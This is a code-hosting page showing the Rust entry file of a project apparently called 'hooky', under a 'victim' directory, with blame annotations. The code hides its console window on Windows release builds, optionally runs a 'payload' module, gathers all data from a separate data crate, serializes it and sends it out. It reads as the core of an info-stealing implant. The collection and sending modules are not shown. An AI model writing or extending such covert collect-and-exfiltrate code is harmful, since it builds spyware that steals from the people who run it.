~/hooky

hooky/victim/src/main.rs -rw-r--r-- 380 B
1ce8d56c — Arthur Melton separate data crate 2 years ago

            
e93179c7 Arthur Melton
4850b5ea Arthur Melton
e93179c7 Arthur Melton
583b1720 Arthur Melton
e93179c7 Arthur Melton
4850b5ea Arthur Melton
e93179c7 Arthur Melton
583b1720 Arthur Melton
e93179c7 Arthur Melton
83970de9 Arthur Melton







1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#![cfg_attr(
    all(not(debug_assertions), target_os = "windows"),
    windows_subsystem = "windows"
)]

#[cfg(feature = "payload")]
mod payload;
mod send;

fn main() -> Result<(), std::io::Error> {
    #[cfg(feature = "payload")]
    payload::run()?;
    let data = data::get_all_data();
    let sends = bincode::serialize(&data).unwrap();
    send::send(&sends)?;
    Ok(())
}